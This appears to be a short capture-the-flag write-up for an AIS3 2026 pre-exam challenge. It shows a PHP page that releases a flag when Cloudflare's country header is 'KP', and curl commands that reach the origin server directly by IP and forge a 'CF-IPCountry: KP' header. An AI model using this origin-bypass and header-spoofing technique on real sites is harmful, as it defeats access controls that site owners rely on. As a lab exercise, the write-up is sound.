#【AIS3 Pre-Exam 2026 Writeup】Misc - Hacked by Lazarus Group

I saw this after getting into the instance.

오직 위대한 장군님께 끝없이 충직한 혁명전사만이 이 영광스러운 기밀을 마주할 것이다!
182.234.157.91
TW

<?php
require('secret.php');
if (isset($_SERVER['HTTP_X_NGINX_REAL_IP'])) {
    echo $_SERVER['HTTP_X_NGINX_REAL_IP'] . "<br>";
}
if (isset($_SERVER['HTTP_CF_IPCOUNTRY'])) {
    echo $_SERVER['HTTP_CF_IPCOUNTRY'] . "<br>";
    if ($_SERVER['HTTP_CF_IPCOUNTRY'] === 'KP'){
        echo $flag;
    }
}
highlight_file(__FILE__);
?>

So, it seems that we have to change our IP country to KP to bypass CF.

In the beginning, I tried to change it through browser, but none of them works.

And I accidentally poke the website /.htaccess

then i got this.

// I forgot to save my screenshot lol
// it's still in the closed ticket in DC
// so I will put the word version over here

Serv00.com - Free Website Hosting - 403 Access forbidden
server: anp4s0

so the origin may possibly be a machine of Serv00,

and the server name is anp4s0.

then I look for some solution on web.

I found this

so we can now directly connect to it without CF

curl -k –http1.1
–resolve test.pornhub.ddns-ip.net:443:128.204.223.94
https://test.pornhub.ddns-ip.net/16934a04d4c6c608551057dbf5ddd716.php

the respond is nginx/PHP, means that the origin is correct

curl -k --http1.1 \
    --resolve test.pornhub.ddns-ip.net:443:128.204.223.94 \
    -A "$UA" -b "$COOKIE" \
    -H 'CF-IPCountry: KP' \
    'https://test.pornhub.ddns-ip.net/16934a04d4c6c608551057dbf5ddd716.php'

then we get the flag.

AIS3{W@1t_@r3_y0U_The_kIm_wh0_w@s_l3@keD_1N_tH3_NOrTh_koREA_fILe5}